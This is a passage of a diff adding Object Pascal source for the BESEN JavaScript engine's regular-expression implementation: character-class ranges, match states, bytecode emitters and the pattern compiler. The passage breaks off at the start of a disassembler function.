begin + Next.Previous:=self; + end else begin + CharClass.Last:=self; + end; +end; + +destructor TBESENRegExpCharClassRange.Destroy; +begin + if assigned(Previous) then begin + Previous.Next:=Next; + end else if CharClass.First=self then begin + CharClass.First:=Next; + end; + if assigned(Next) then begin + Next.Previous:=Previous; + end else if CharClass.Last=self then begin + CharClass.Last:=Previous; + end; + Previous:=nil; + Next:=nil; + inherited Destroy; +end; + +constructor TBESENRegExpCharClass.Create(ARegExp:TBESENRegExp); +begin + inherited Create; + RegExp:=ARegExp; + if assigned(RegExp.LastCharClass) then begin + Previous:=RegExp.LastCharClass; + RegExp.LastCharClass:=self; + Previous.Next:=self; + Next:=nil; + end else begin + RegExp.FirstCharClass:=self; + RegExp.LastCharClass:=self; + Previous:=nil; + Next:=nil; + end; + First:=nil; + Last:=nil; + Inverted:=false; + Canonicalized:=false; +end; + +destructor TBESENRegExpCharClass.Destroy; +begin + while assigned(First) do begin + First.Free; + end; + if assigned(Previous) then begin + Previous.Next:=Next; + end else if RegExp.FirstCharClass=self then begin + RegExp.FirstCharClass:=Next; + end; + if assigned(Next) then begin + Next.Previous:=Previous; + end else if RegExp.LastCharClass=self then begin + RegExp.LastCharClass:=Previous; + end; + Previous:=nil; + Next:=nil; + inherited Destroy; +end; + +procedure TBESENRegExpCharClass.Clear; +begin + while assigned(First) do begin + First.Free; + end; + Inverted:=false; + Canonicalized:=false; +end; + +procedure TBESENRegExpCharClass.Dump; +var Range:TBESENRegExpCharClassRange; +begin + Range:=First; + while assigned(Range) do begin + writeln(Range.Lo:8,' ',Range.Hi:8); + Range:=Range.Next; + end; +end; + +procedure TBESENRegExpCharClass.DebugDump; +var Range:TBESENRegExpCharClassRange; +begin + Range:=First; + while assigned(Range) do begin + if assigned(TBESEN(RegExp.Instance).RegExpDebugOutputHook) then begin + TBESEN(RegExp.Instance).RegExpDebugOutputHook(TBESEN(RegExp.Instance),'[0x'+TBESENUTF8ORSINGLESTRING(IntToHex(Range.Lo,8))+',0x'+TBESENUTF8ORSINGLESTRING(IntToHex(Range.Hi,8))+']',true); + end; + Range:=Range.Next; + end; +end; + +procedure TBESENRegExpCharClass.Optimize; +var Range:TBESENRegExpCharClassRange; +begin + Range:=First; + while assigned(Range) do begin + if assigned(Range.Previous) and (((Range.Previous.Hi>=Range.Lo) or ((Range.Previous.Hi+1)=Range.Lo))) then begin + if Range.Lo>Range.Previous.Lo then begin + Range.Lo:=Range.Previous.Lo; + end; + if Range.Hi<Range.Previous.Hi then begin + Range.Hi:=Range.Previous.Hi; + end; + Range.Previous.Free; + if assigned(Range.Previous) then begin + Range:=Range.Previous; + end; + end else if assigned(Range.Next) and (((Range.Hi>=Range.Next.Lo) or ((Range.Hi+1)=Range.Next.Lo))) then begin + if Range.Lo>Range.Next.Lo then begin + Range.Lo:=Range.Next.Lo; + end; + if Range.Hi<Range.Next.Hi then begin + Range.Hi:=Range.Next.Hi; + end; + Range.Next.Free; + if assigned(Range.Previous) then begin + Range:=Range.Previous; + end; + end else begin + Range:=Range.Next; + end; + end; +end; + +procedure TBESENRegExpCharClass.AddRange(Lo,Hi:TBESENUTF32CHAR;IgnoreCase:boolean=false); +var Range:TBESENRegExpCharClassRange; + c,cl,cu:TBESENUTF32CHAR; + NeedToCanonicalize:boolean; +begin + if IgnoreCase then begin + NeedToCanonicalize:=false; + for c:=Lo to Hi do begin + cl:=BESENUnicodeToLower(c); + cu:=BESENUnicodeToUpper(c); + if (cl<>cu) or (cl<>c) or (cu<>c) then begin + NeedToCanonicalize:=true; + break; + end; + end; + if NeedToCanonicalize then begin + for c:=Lo to Hi do begin + cl:=BESENUnicodeToLower(c); + cu:=BESENUnicodeToUpper(c); + if (cl=cu) and (cl=c) then begin + AddRange(c,c,false); + end else begin + AddRange(cl,cl,false); + AddRange(cu,cu,false); + if (cl<>c) and (cu<>c) then begin + AddRange(c,c,false); + end; + end; + end; + end else begin + AddRange(Lo,Hi,false); + end; + end else begin + Range:=First; + while assigned(Range) do begin + if (Lo>=Range.Lo) and (Hi<=Range.Hi) then begin + exit; + end else if (Lo<=Range.Lo) or ((Lo=Range.Lo) and (Hi<=Range.Hi)) then begin + break; + end; + Range:=Range.Next; + end; + if assigned(Range) then begin + TBESENRegExpCharClassRange.CreateBefore(self,Range,Lo,Hi); + end else begin + TBESENRegExpCharClassRange.Create(self,Lo,Hi); + end; + Optimize; + end; +end; + +procedure TBESENRegExpCharClass.AddChar(c:TBESENUTF32CHAR;IgnoreCase:boolean=false); +begin + AddRange(c,c,IgnoreCase); +end; + +procedure TBESENRegExpCharClass.TakeoverCombine(From:TBESENRegExpCharClass); +var Range:TBESENRegExpCharClassRange; +begin + if assigned(From) then begin + if assigned(First) then begin + Canonicalized:=Canonicalized and From.Canonicalized; + end else begin + Canonicalized:=From.Canonicalized; + end; + Range:=From.First; + while assigned(Range) do begin + Range.CharClass:=self; + Range:=Range.Next; + end; + if assigned(Last) then begin + Last.Next:=From.First; + From.First.Previous:=Last; + Last:=From.Last; + end else begin + First:=From.First; + Last:=From.Last; + end; + From.First:=nil; + From.Last:=nil; + end; +end; + +procedure TBESENRegExpCharClass.Assign(From:TBESENRegExpCharClass); +var Range:TBESENRegExpCharClassRange; +begin + if assigned(From) then begin + while assigned(First) do begin + First.Free; + end; + Inverted:=From.Inverted; + Canonicalized:=From.Canonicalized; + Range:=From.First; + while assigned(Range) do begin + Range.CharClass:=self; + Range:=Range.Next; + end; + First:=From.First; + Last:=From.Last; + From.First:=nil; + From.Last:=nil; + end; +end; + +procedure TBESENRegExpCharClass.Append(From:TBESENRegExpCharClass); +var Range:TBESENRegExpCharClassRange; +begin + if assigned(From) then begin + Range:=From.First; + while assigned(Range) do begin + TBESENRegExpCharClassRange.Create(self,Range.Lo,Range.Hi); + Range:=Range.Next; + end; + end; +end; + +procedure TBESENRegExpCharClass.Invert; +var NewList:TBESENRegExpCharClass; + Range:TBESENRegExpCharClassRange; + Lo,Hi:TBESENUTF32CHAR; +begin + Optimize; + Inverted:=not Inverted; + if assigned(First) and (First=Last) and (First.Lo=0) and (First.Hi=$ffffffff) then begin + First.Free; + end else if not assigned(First) then begin + TBESENRegExpCharClassRange.Create(self,0,$ffffffff); + end else begin + NewList:=TBESENRegExpCharClass.Create(RegExp); + try + Range:=First; + if Range.Lo>0 then begin + TBESENRegExpCharClassRange.Create(NewList,0,Range.Lo-1); + end; + Lo:=Range.Hi; + Range:=Range.Next; + while assigned(Range) do begin + if (Lo+1)<Range.Lo then begin + Hi:=Range.Lo; + TBESENRegExpCharClassRange.Create(NewList,Lo+1,Hi-1); + end; + Lo:=Range.Hi; + Range:=Range.Next; + end; + if Lo<>$ffffffff then begin + TBESENRegExpCharClassRange.Create(NewList,Lo+1,$ffffffff); + end; + while assigned(First) do begin + First.Free; + end; + Range:=NewList.First; + while assigned(Range) do begin + Range.CharClass:=self; + Range:=Range.Next; + end; + First:=NewList.First; + Last:=NewList.Last; + NewList.First:=nil; + NewList.Last:=nil; + Range:=First; + while assigned(Range) do begin + Range.CharClass:=self; + Range:=Range.Next; + end; + finally + NewList.Free; + end; + end; +end; + +procedure TBESENRegExpCharClass.Canonicalize; +var NewList:TBESENRegExpCharClass; + Range:TBESENRegExpCharClassRange; + OldInverted:boolean; +begin + if not Canonicalized then begin + NewList:=TBESENRegExpCharClass.Create(RegExp); + try + OldInverted:=Inverted; + if Inverted then begin + Invert; + end; + Range:=First; + while assigned(Range) do begin + NewList.AddRange(Range.Lo,Range.Hi,true); + Range:=Range.Next; + end; + while assigned(First) do begin + First.Free; + end; + First:=NewList.First; + Last:=NewList.Last; + NewList.First:=nil; + NewList.Last:=nil; + Range:=First; + while assigned(Range) do begin + Range.CharClass:=self; + Range:=Range.Next; + end; + if OldInverted then begin + Invert; + end; + Inverted:=OldInverted; + finally + NewList.Free; + end; + Canonicalized:=true; + end; +end; + +function TBESENRegExpCharClass.Count:longword; +var Range:TBESENRegExpCharClassRange; +begin + result:=0; + Range:=First; + while assigned(Range) do begin + inc(result,(Range.Hi-Range.Lo)+1); + Range:=Range.Next; + end; +end; + +function TBESENRegExpCharClass.Contains(c:TBESENUTF32CHAR):boolean; +var Range:TBESENRegExpCharClassRange; +begin + result:=false; + Range:=First; + while assigned(Range) do begin + if (c>=Range.Lo) and (c<=Range.Hi) then begin + result:=true; + break; + end; + Range:=Range.Next; + end; +end; + +function TBESENRegExpCharClass.IsSingle:boolean; +begin + result:=(First=Last) and ((assigned(First) and (First.Lo=First.Hi)) or not assigned(First)); +end; + +function CompareCharClasses(c1,c2:TBESENRegExpCharClass):longint; +var r1,r2:TBESENRegExpCharClassRange; +begin + r1:=c1.First; + r2:=c2.First; + while assigned(r1) and assigned(r2) do begin + if r1.Lo<>r2.Lo then begin + result:=longint(r1.Lo)-longint(r2.Lo); + exit; + end; + if r1.Hi<>r2.Hi then begin + result:=longint(r1.Hi)-longint(r2.Hi); + exit; + end; + r1:=r1.Next; + r2:=r2.Next; + end; + if assigned(r1) then begin + result:=1; + end else if assigned(r2) then begin + result:=-1; + end else begin + result:=0; + end; +end; + +constructor TBESENRegExpState.Create(ARegExp:TBESENRegExp); +begin + inherited Create; + RegExp:=ARegExp; + if assigned(RegExp.LastState) then begin + Previous:=RegExp.LastState; + RegExp.LastState:=self; + Previous.Next:=self; + Next:=nil; + end else begin + RegExp.FirstState:=self; + RegExp.LastState:=self; + Previous:=nil; + Next:=nil; + end; + Captures:=nil; + Counters:=nil; + Marks:=nil; + SetLength(Captures,RegExp.CountOfCaptures); + SetLength(Counters,RegExp.CountOfCounters); + SetLength(Marks,RegExp.CountOfMarks); +end; + +destructor TBESENRegExpState.Destroy; +begin + SetLength(Captures,0); + SetLength(Counters,0); + SetLength(Marks,0); + if assigned(Previous) then begin + Previous.Next:=Next; + end else if RegExp.FirstState=self then begin + RegExp.FirstState:=Next; + end; + if assigned(Next) then begin + Next.Previous:=Previous; + end else if RegExp.LastState=self then begin + RegExp.LastState:=Previous; + end; + Previous:=nil; + Next:=nil; + inherited Destroy; +end; + +constructor TBESENRegExp.Create(AInstance:TObject); +begin + inherited Create(AInstance); + FirstCharClass:=nil; + LastCharClass:=nil; + FirstState:=nil; + LastState:=nil; + CurrentState:=nil; + CountStates:=0; + Source:=''; + ByteCode:=nil; + ByteCodeLen:=0; + Flags:=[]; + CountOfCaptures:=0; + CountOfCounters:=0; + CountOfMarks:=0; + MaxRef:=0; + CharClasses:=nil; + CharClassesCount:=0; + ReferenceCounter:=0; +end; + +destructor TBESENRegExp.Destroy; +begin + SetLength(CharClasses,0); + while assigned(FirstCharClass) do begin + FirstCharClass.Free; + end; + while assigned(FirstState) do begin + FirstState.Free; + end; + Source:=''; + SetLength(ByteCode,0); + inherited Destroy; +end; + +procedure TBESENRegExp.IncRef; +begin + inc(ReferenceCounter); +end; + +procedure TBESENRegExp.DecRef; +begin + if ReferenceCounter>1 then begin + dec(ReferenceCounter); + end else begin + ReferenceCounter:=0; + Destroy; + end; +end; + +function TBESENRegExp.InternCharClass(c:TBESENRegExpCharClass):longint; +var i:longint; +begin + for i:=0 to CharClassesCount-1 do begin + if CompareCharClasses(c,CharClasses[i])=0 then begin + result:=i; + exit; + end; + end; + result:=CharClassesCount; + inc(CharClassesCount); + if CharClassesCount>=length(CharClasses) then begin + SetLength(CharClasses,(CharClassesCount+256) and not 255); + end; + CharClasses[result]:=c; +end; + +function TBESENRegExp.CodePos:longint; +begin + result:=ByteCodeLen; +end; + +procedure TBESENRegExp.CodePosSet(p:longint); +begin + ByteCodeLen:=p; + if ByteCodeLen>=length(ByteCode) then begin + SetLength(ByteCode,(ByteCodeLen+4097) and 4095); + end; +end; + +procedure TBESENRegExp.CodeAdd(c:longint); +var i:longint; +begin + i:=ByteCodeLen; + inc(ByteCodeLen); + if ByteCodeLen>=length(ByteCode) then begin + SetLength(ByteCode,(ByteCodeLen+4097) and 4095); + end; + ByteCode[i]:=c; +end; + +procedure TBESENRegExp.CodePatch(p,c:longint); +var i:longint; +begin + i:=p; + if ByteCodeLen>=length(ByteCode) then begin + SetLength(ByteCode,(ByteCodeLen+4097) and 4095); + end; + ByteCode[i]:=c; +end; + +procedure TBESENRegExp.CodeInsert(p,n:longint); +var i,j:longint; +begin + for i:=1 to n do begin + CodeAdd(0); + end; + for i:=ByteCodeLen-n downto p+1 do begin + j:=i-1; + ByteCode[j+n]:=ByteCode[j]; + end; +end; + +procedure TBESENRegExp.CodeAddI(c:longint); +begin + CodeAdd((c shr 8) and $ff); + CodeAdd(c and $ff); +end; + +procedure TBESENRegExp.CodeAddA(c:longint); +begin + CodeAddI(c-CodePos); +end; + +procedure TBESENRegExp.CodePatchI(p,c:longint); +begin + CodePatch(p,(c shr 8) and $ff); + CodePatch(p+1,c and $ff); +end; + +procedure TBESENRegExp.CodePatchA(p,c:longint); +begin + CodePatchI(p,c-p); +end; + +function TBESENRegExp.AllocateState:TBESENRegExpState; +begin + if assigned(CurrentState) then begin + if assigned(CurrentState.Next) then begin + CurrentState:=CurrentState.Next; + end else begin + CurrentState:=TBESENRegExpState.Create(self); + inc(CountStates); + end; + end else begin + if assigned(FirstState) then begin + CurrentState:=FirstState; + end else begin + CurrentState:=TBESENRegExpState.Create(self); + inc(CountStates); + end; + end; + result:=CurrentState; +end; + +procedure TBESENRegExp.CleanupStates; +begin + while assigned(LastState) and (CountStates>TBESEN(Instance).RegExpMaxStatesHoldInMemory) do begin + LastState.Free; + dec(CountStates); + end; + CurrentState:=nil; +end; + +procedure TBESENRegExp.CopyState(const a,b:TBESENRegExpState); +begin + if CountOfCaptures>0 then begin + move(b.Captures[0],a.Captures[0],CountOfCaptures*sizeof(TBESENRegExpCapture)); + end; + if CountOfCounters>0 then begin + move(b.Counters[0],a.Counters[0],CountOfCounters*sizeof(TBESENRegExpValue)); + end; + if CountOfMarks>0 then begin + move(b.Marks[0],a.Marks[0],CountOfMarks*sizeof(TBESENRegExpValue)); + end; +end; + +procedure TBESENRegExp.Compile(const ASource:TBESENString;const AFlags:TBESENRegExpFlags=[]); +var AtEOF:boolean; + CurrentChar:TBESENUTF32CHAR; + UTF32Source:TBESENUTF32STRING; + SourcePos:longint; + function NextChar:TBESENUTF32CHAR; + begin + if (SourcePos+1)<length(UTF32Source) then begin + inc(SourcePos); + CurrentChar:=UTF32Source[SourcePos]; + end else begin + CurrentChar:=0; + AtEOF:=true; + end; + result:=CurrentChar; + end; + procedure SyntaxError; + begin + raise EBESENSyntaxError.Create('regex syntax error'); + end; + procedure Expect(c:TBESENUTF32CHAR); + begin + if AtEOF or (CurrentChar<>c) then begin + SyntaxError; + end; + NextChar; + end; + function ParseInteger:longint; + var OK:boolean; + begin + result:=0; + OK:=false; + while (not AtEOF) and (CurrentChar>=ord('0')) and (CurrentChar<=ord('9')) do begin + result:=(result*10)+longint(CurrentChar-ord('0')); + OK:=true; + NextChar; + end; + if not OK then begin + SyntaxError; + end; + end; + function ParseHex:longword; + begin + result:=0; + if AtEOF then begin + SyntaxError; + end else if (CurrentChar>=ord('0')) and (CurrentChar<=ord('9')) then begin + result:=CurrentChar-ord('0'); + NextChar; + end else if (CurrentChar>=ord('a')) and (CurrentChar<=ord('f')) then begin + result:=CurrentChar-ord('a')+$a; + NextChar; + end else if (CurrentChar>=ord('A')) and (CurrentChar<=ord('F')) then begin + result:=CurrentChar-ord('A')+$a; + NextChar; + end else begin + SyntaxError; + end; + end; + procedure ParseDisjunction; forward; + function ParseClassEscape(CanBeAlreadyCanonicalized:boolean):TBESENRegExpCharClass; + var i:longint; + ch:TBESENUTF32CHAR; + IgnoreCase:boolean; + begin + result:=nil; + try + IgnoreCase:=CanBeAlreadyCanonicalized and (brefIGNORECASE in Flags); + result:=TBESENRegExpCharClass.Create(self); + if (CurrentChar>=ord('0')) and (CurrentChar<=ord('9')) then begin + if ((TBESEN(Instance).Compatibility and COMPAT_JS)<>0) and + (CurrentChar=ord('0')) and ((SourcePos+2)<length(UTF32Source)) and ((UTF32Source[SourcePos+1]>=ord('0')) and (UTF32Source[SourcePos+1]<=ord('7'))) and + ((UTF32Source[SourcePos+2]>=ord('0')) and (UTF32Source[SourcePos+2]<=ord('7'))) then begin + result.AddChar(((UTF32Source[SourcePos+1]-ord('0'))*8)+(UTF32Source[SourcePos+2]-ord('0')),IgnoreCase); + result.Canonicalized:=IgnoreCase; + NextChar; + NextChar; + NextChar; + exit; + end; + i:=0; + while (not AtEOF) and (CurrentChar>=ord('0')) and (CurrentChar<=ord('9')) do begin + i:=(i*10)+longint(CurrentChar-ord('0')); + NextChar; + end; + if i<>0 then begin + SyntaxError; + end; + result.AddChar(i,IgnoreCase); + result.Canonicalized:=IgnoreCase; + exit; + end; + ch:=CurrentChar; + NextChar; + case ch of + ord('b'):begin + result.AddChar($0008); + result.Canonicalized:=true; + end; + ord('t'):begin + result.AddChar($0009); + result.Canonicalized:=true; + end; + ord('n'):begin + result.AddChar($000a); + result.Canonicalized:=true; + end; + ord('v'):begin + result.AddChar($000b); + result.Canonicalized:=true; + end; + ord('f'):begin + result.AddChar($000c); + result.Canonicalized:=true; + end; + ord('r'):begin + result.AddChar($000d); + result.Canonicalized:=true; + end; + ord('d'):begin + result.AddRange(ord('0'),ord('9')); + result.Canonicalized:=true; + end; + ord('D'):begin + result.AddRange(ord('0'),ord('9')); + result.Invert; + result.Inverted:=false; + result.Canonicalized:=true; + end; + ord('w'):begin + result.AddRange(ord('a'),ord('z')); + result.AddRange(ord('A'),ord('Z')); + result.AddRange(ord('0'),ord('9')); + result.AddChar(ord('_')); + result.Canonicalized:=true; + end; + ord('W'):begin + result.AddRange(ord('a'),ord('z')); + result.AddRange(ord('A'),ord('Z')); + result.AddRange(ord('0'),ord('9')); + result.AddChar(ord('_')); + result.Invert; + result.Inverted:=false; + result.Canonicalized:=true; + end; + ord('s'):begin + result.AddRange($0009,$000d); + result.AddChar($0020); + result.AddChar($00a0); + result.AddChar($1680); + result.AddChar($180e); + result.AddRange($2000,$200b); + result.AddRange($2028,$2029); + result.AddChar($202f); + result.AddChar($205f); + result.AddChar($3000); + result.AddChar($fffe); + result.AddChar($feff); + result.Canonicalized:=true; + end; + ord('S'):begin + result.AddRange($0009,$000d); + result.AddChar($0020); + result.AddChar($00a0); + result.AddChar($1680); + result.AddChar($180e); + result.AddRange($2000,$200b); + result.AddRange($2028,$2029); + result.AddChar($202f); + result.AddChar($205f); + result.AddChar($3000); + result.AddChar($fffe); + result.AddChar($feff); + result.Invert; + result.Inverted:=false; + result.Canonicalized:=true; + end; + ord('c'):begin + if AtEOF then begin + SyntaxError; + end; + ch:=CurrentChar; + NextChar; + if ((ch>=ord('a')) and (ch<=ord('z'))) or ((ch>=ord('A')) and (ch<=ord('Z'))) then begin + result.AddChar(ch mod 32,IgnoreCase); + result.Canonicalized:=IgnoreCase; + end else begin + SyntaxError; + end; + end; + ord('x'):begin + ch:=ParseHex; + ch:=(ch shl 4) or ParseHex; + result.AddChar(ch,IgnoreCase); + result.Canonicalized:=IgnoreCase; + end; + ord('u'):begin + ch:=ParseHex; + ch:=(ch shl 4) or ParseHex; + ch:=(ch shl 4) or ParseHex; + ch:=(ch shl 4) or ParseHex; + result.AddChar(ch,IgnoreCase); + result.Canonicalized:=IgnoreCase; + end; + else begin + result.AddChar(ch,IgnoreCase); + result.Canonicalized:=IgnoreCase; + end; + end; + except + BESENFreeAndNil(result); + raise; + end; + end; + function ParseClassAtom:TBESENRegExpCharClass; + begin + if AtEOF then begin + SyntaxError; + end; + result:=nil; + try + if CurrentChar=ord('\') then begin + NextChar; + result:=ParseClassEscape(false); + end else begin + result:=TBESENRegExpCharClass.Create(self); + result.AddChar(CurrentChar); + NextChar; + end; + except + BESENFreeAndNil(result); + raise; + end; + end; + function ParseCharacterClass:TBESENRegExpCharClass; + var InvertFlag:boolean; + a,b:TBESENRegExpCharClass; + begin + result:=nil; + try + a:=nil; + b:=nil; + try + result:=TBESENRegExpCharClass.Create(self); + Expect(ord('[')); + InvertFlag:=(not AtEOF) and (CurrentChar=ord('^')); + if InvertFlag then begin + NextChar; + end; + while (not AtEOF) and (CurrentChar<>ord(']')) do begin + a:=ParseClassAtom; + if (not AtEOF) and (CurrentChar=ord('-')) then begin + NextChar; + if (not AtEOF) and (CurrentChar=ord(']')) then begin + a.AddChar(ord('-')); + end else begin + if not a.IsSingle then begin + BESENFreeAndNil(a); + SyntaxError; + end; + b:=ParseClassAtom; + if (not b.IsSingle) or ((assigned(a.Last) and assigned(b.Last)) and not (a.Last.Lo<=b.Last.Hi)) then begin + BESENFreeAndNil(a); + BESENFreeAndNil(b); + SyntaxError; + end; + if assigned(a.Last) and assigned(b.Last) then begin + a.Last.Hi:=b.Last.Hi; + end else begin + a.TakeoverCombine(b); + end; + BESENFreeAndNil(b); + end; + end; + result.TakeoverCombine(a); + BESENFreeAndNil(a); + end; + Expect(ord(']')); + if (brefIGNORECASE in Flags) and not result.Canonicalized then begin + result.Canonicalize; + end; + if InvertFlag then begin + result.Invert; + end; + finally + BESENFreeAndNil(a); + BESENFreeAndNil(b); + end; + except + BESENFreeAndNil(result); + raise; + end; + end; + procedure ParseAtom; + var neg:boolean; + i,p1,px:longint; + c:TBESENRegExpCharClass; + begin + c:=nil; + try + if CurrentChar=ord('(') then begin + NextChar; + if (not AtEOF) and (CurrentChar=ord('?')) then begin + NextChar; + if (not AtEOF) and (CurrentChar=ord(':')) then begin + NextChar; + ParseDisjunction; + end else if (not AtEOF) and ((CurrentChar=ord('=')) or (CurrentChar=ord('!'))) then begin + neg:=CurrentChar=ord('!'); + NextChar; + if neg then begin + CodeAdd(breoAF); + end else begin + CodeAdd(breoAS); + end; + p1:=CodePos; + CodeAddA(0); + ParseDisjunction; + CodeAdd(breoSUCCEED); + px:=CodePos; + CodePatchA(p1,px); + end else begin + SyntaxError; + end; + end else begin + i:=CountOfCaptures; + inc(CountOfCaptures); + CodeAdd(breoSTART); + CodeAddI(i); + ParseDisjunction; + CodeAdd(breoEND); + CodeAddI(i); + end; + Expect(ord(')')); + end else begin + case CurrentChar of + ord('\'):begin + NextChar; + if AtEOF then begin + SyntaxError; + end; + if (CurrentChar>=ord('1')) and (CurrentChar<=ord('9')) then begin + i:=ParseInteger; + CodeAdd(breoBACKREF); + CodeAddI(i); + if i>MaxRef then begin + MaxRef:=i; + end; + exit; + end; + c:=ParseClassEscape(true); + end; + ord('['):begin + c:=ParseCharacterClass; + end; + ord('.'):begin + NextChar; + c:=TBESENRegExpCharClass.Create(self); + c.AddChar($000a); + c.AddChar($000d); + c.AddRange($2028,$2029); + c.Invert; + c.Inverted:=false; + c.Canonicalized:=true; + end; + else begin + c:=TBESENRegExpCharClass.Create(self); + c.AddChar(CurrentChar,brefIGNORECASE in Flags); + c.Canonicalized:=brefIGNORECASE in Flags; + NextChar; + end; + end; + i:=InternCharClass(c); + CodeAdd(breoCHAR); + CodeAddI(i); + end; + except + BESENFreeAndNil(c); + raise; + end; + end; + procedure ParseTerm; + function QuantifierIsNext:boolean; + var Lookahead:PBESENUTF32CHARS; + Len,p:longint; + begin + if CurrentChar<>ord('{') then begin + result:=false; + end else if not (TBESEN(Instance).Compatibility and COMPAT_JS)<>0 then begin + result:=true; + end else begin + Lookahead:=@UTF32Source[SourcePos]; + Len:=length(UTF32Source)-SourcePos; + p:=1; + if Len=0 then begin + result:=false; + end else begin + while (p<Len) and (Lookahead^[p]>=ord('0')) and (Lookahead^[p]<=ord('9')) do begin + inc(p); + end; + if (p<Len) and (Lookahead^[p]=ord(',')) then begin + inc(p); + while (p<Len) and (Lookahead^[p]>=ord('0')) and (Lookahead^[p]<=ord('9')) do begin + inc(p); + end; + if (p<Len) and (Lookahead^[p]>=ord('}')) then begin + result:=true; + end else begin + result:=false; + end; + end else if (p<Len) and (Lookahead^[p]>=ord('}')) then begin + result:=p>1; + end else begin + result:=false; + end; + end; + end; + end; + var Lookahead:PBESENUTF32CHARS; + Len,Position,oparen,cparen,min,max,m,px,py,i,c,p,p1,k:longint; + Greedy:boolean; + begin + Lookahead:=@UTF32Source[SourcePos]; + Len:=length(UTF32Source)-SourcePos; + case CurrentChar of + ord('\'):begin + if (Len>1) and (Lookahead^[1]=ord('b')) then begin + NextChar; + NextChar; + CodeAdd(breoBRK); + exit; + end; + if (Len>1) and (Lookahead^[1]=ord('B')) then begin + NextChar; + NextChar; + CodeAdd(breoNBRK); + exit; + end; + end; + ord('^'):begin + NextChar; + CodeAdd(breoBOL); + exit; + end; + ord('$'):begin + NextChar; + CodeAdd(breoEOL); + exit; + end; + ord('*'),ord('+'),ord('?'),ord(')'),ord(']'),ord('{'),ord('}'),ord('|'):begin + SyntaxError; + end; + end; + + Position:=CodePos; + oparen:=CountOfCaptures; + ParseAtom; + cparen:=CountOfCaptures; + + if AtEOF then begin + min:=1; + max:=1; + end else if CurrentChar=ord('*') then begin + NextChar; + min:=0; + max:=brecINFINITY; + end else if CurrentChar=ord('+') then begin + NextChar; + min:=1; + max:=brecINFINITY; + end else if CurrentChar=ord('?') then begin + NextChar; + min:=0; + max:=1; + end else if QuantifierIsNext then begin + NextChar; + min:=ParseInteger; + if (not AtEOF) and (CurrentChar=ord(',')) then begin + Expect(ord(',')); + if (not AtEOF) and (CurrentChar=ord('}')) then begin + max:=brecINFINITY; + end else begin + max:=ParseInteger; + end; + end else begin + max:=min; + end; + Expect(ord('}')); + end else begin + min:=1; + max:=1; + end; + + if (not AtEOF) and (CurrentChar=ord('?')) then begin + NextChar; + Greedy:=false; + end else begin + Greedy:=true; + end; + + if (min=max) and not Greedy then begin + Greedy:=true; + end; + + if (Max<>brecINFINITY) and (min>max) then begin + SyntaxError; + end; + + if (min=1) and (max=1) then begin + exit; + end; + + if max=0 then begin + CodePosSet(Position); + exit; + end; + + if oparen<>cparen then begin + CodeInsert(Position,1+(2*bresINT)); + CodePatch(Position,breoUNDEF); + CodePatchI(Position+1,oparen); + CodePatchI(Position+1+bresINT,cparen); + end; + + if min=max then begin + p:=Position; + i:=1+bresINT; + c:=CountOfCounters; + inc(CountOfCounters); + CodeInsert(Position,i); + CodePatch(p,breoZERO); + inc(p); + CodePatchI(p,c); + inc(p,bresINT); + px:=p; +{$ifdef UseAssert} + Assert(p=(Position+i)); +{$endif} + CodeAdd(breoRNEXT); + CodeAddI(c); + CodeAddI(max); + CodeAddA(px); + end else if (min=0) and (max=1) then begin + p:=Position; + i:=1+bresADDR; + CodeInsert(Position,i); + if Greedy then begin + CodePatch(p,breoGF); + end else begin + CodePatch(p,breoNF); + end; + inc(p); + p1:=p; + inc(p,bresADDR); +{$ifdef UseAssert} + Assert(p=(Position+i)); +{$endif} + px:=CodePos; + CodePatchA(p1,px); + end else if (min=0) and (max=brecINFINITY) then begin + p:=Position; + i:=2+bresADDR+bresINT; + m:=CountOfMarks; + inc(CountOfMarks); + CodeInsert(Position,i); + px:=p; + if Greedy then begin + CodePatch(p,breoGF); + end else begin + CodePatch(p,breoNF); + end; + inc(p); + p1:=p; + inc(p,bresADDR); + CodePatch(p,breoMARK); + inc(p); + CodePatchI(p,m); + inc(p,bresINT); +{$ifdef UseAssert} + Assert(p=(Position+i)); +{$endif} + CodeAdd(breoFDIST); + CodeAddI(m); + CodeAdd(breoGOTO); + CodeAddA(px); + py:=CodePos; + CodePatchA(p1,py); + end else begin + p:=Position; + i:=3+(bresINT*2)+bresADDR; + c:=CountOfCounters; + k:=CountOfMarks; + inc(CountOfCounters); + inc(CountOfMarks); + CodeInsert(Position,i); + CodePatch(p,breoZERO); + inc(p); + CodePatchI(p,c); + inc(p,bresINT); + px:=p; + if Greedy then begin + CodePatch(p,breoGF); + end else begin + CodePatch(p,breoNF); + end; + inc(p); + p1:=p; + inc(p,bresADDR); + CodePatch(p,breoMARK); + inc(p); + CodePatchI(p,k); + inc(p,bresINT); +{$ifdef UseAssert} + Assert(p=(Position+i)); +{$endif} + if min<>0 then begin + CodeAdd(breoRDIST); + CodeAddI(k); + CodeAddI(c); + CodeAddI(min); + end else begin + CodeAdd(breoFDIST); + CodeAddI(k); + end; + if max<>brecINFINITY then begin + CodeAdd(breoRNEXT); + CodeAddI(c); + CodeAddI(max); + CodeAddA(px); + end else begin + CodeAdd(breoMNEXT); + CodeAddI(c); + CodeAddI(min); + CodeAddA(px); + end; + py:=CodePos; + if min<>0 then begin + CodeAdd(breoREACH); + CodeAddI(c); + CodeAddI(min); + end; + CodePatchA(p1,py); + end; + end; + procedure ParseAlternative; + begin + while not (AtEOF or (CurrentChar=ord(')')) or (CurrentChar=ord('|'))) do begin + ParseTerm; + end; + end; + procedure ParseDisjunction; + var Position,p,p1,p2,x1,x2,i:longint; + begin + Position:=CodePos; + ParseAlternative; + if (not AtEOF) and (CurrentChar=ord('|')) then begin + NextChar; + + p:=Position; + i:=1+bresADDR; + + CodeInsert(Position,i); + + CodePatch(p,breoGF); + inc(p); + p1:=p; + inc(p,bresADDR); +{$ifdef UseAssert} + Assert(p=(Position+i)); +{$endif} + + CodeAdd(breoGOTO); + p2:=CodePos; + + CodeAddA(0); + x1:=CodePos; + + ParseDisjunction; + + x2:=CodePos; + CodePatchA(p1,x1); + CodePatchA(p2,x2); + end; + end; + procedure Optimize; + begin + end; +begin + Flags:=AFlags; + CountOfCaptures:=1; + Source:=ASource; + AtEOF:=false; + UTF32Source:=nil; + try + UTF32Source:=BESENUTF16ToUTF32(Source); + SourcePos:=-1; + NextChar; + ParseDisjunction; + CodeAdd(breoSUCCEED); + SetLength(ByteCode,ByteCodeLen); + Optimize; + SetLength(CharClasses,CharClassesCount); + finally + SetLength(UTF32Source,0); + end; +end; + +function TBESENRegExp.Disassemble:TBESENString; + function CodeMakeI(a:longint):longint; + begin + if (a+2)<=length(ByteCode) then 